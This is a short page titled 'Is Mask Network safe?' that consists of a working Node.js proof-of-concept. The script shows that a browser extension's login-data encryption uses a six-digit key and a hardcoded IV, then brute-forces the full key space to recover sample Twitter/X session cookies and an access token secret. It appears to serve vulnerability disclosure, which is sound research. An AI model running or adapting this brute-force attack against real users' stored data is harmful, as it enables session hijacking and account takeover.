Is Mask Network safe?

#!/usr/bin/env node
const crypto = require('crypto');
const APP_LOGIN_ENCRYPT_IV = '0x4f05c37c16c801c2516b0338a8fd0cf9';
const iv = Buffer.from(APP_LOGIN_ENCRYPT_IV.replace(/^0x/, ''), 'hex');

// generateCryptoKey() from the extension
function generateCryptoKey() {
  const n = crypto.randomBytes(4).readUInt32LE(0);
  return (n % 1000000).toString().padStart(6, '0');
}
// encrypt(): aesKey = SHA-256(cryptoKey), AES-256-CBC w/ hardcoded IV
function encrypt(plainText, cryptoKey) {
  const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
  const c = crypto.createCipheriv('aes-256-cbc', aesKey, iv);
  return Buffer.concat([c.update(Buffer.from(plainText, 'utf8')), c.final()]);
}
function tryDecrypt(ct, cryptoKey) {
  try {
    const aesKey = crypto.createHash('sha256').update(Buffer.from(cryptoKey, 'utf8')).digest();
    const d = crypto.createDecipheriv('aes-256-cbc', aesKey, iv);
    return Buffer.concat([d.update(ct), d.final()]).toString('utf8');
  } catch (e) { return null; }
}

const payload = JSON.stringify({ twitterAccounts: [{ type: 'x', user_id: '1234567890', handle: 'victim_user', accessTokenSecret: 'VictimAccessTokenSecret9876543210', cookie: 'auth_token=SAMPLE_AUTHTOKEN; ct0=SAMPLE_CT0; twid="u=1234567890"; kdt=SAMPLE_KDT' }] });
const realKey = generateCryptoKey();
const ct = encrypt(payload, realKey);
console.log('Victim key (unknown to attacker):', realKey, '| ciphertext', ct.length, 'bytes');

const t0 = Date.now();
for (let i = 0; i < 1000000; i++) {
  const k = i.toString().padStart(6, '0');
  const pt = tryDecrypt(ct, k);
  if (pt && pt.includes('auth_token') && pt.includes('twitterAccounts')) {
    console.log(`Recovered key ${k} in ${((Date.now()-t0)/1000).toFixed(2)}s`);
    console.log('Recovered cookies:', JSON.parse(pt).twitterAccounts[0].cookie);
    process.exit(0);
  }
}
console.log('Key not recovered');
process.exit(1);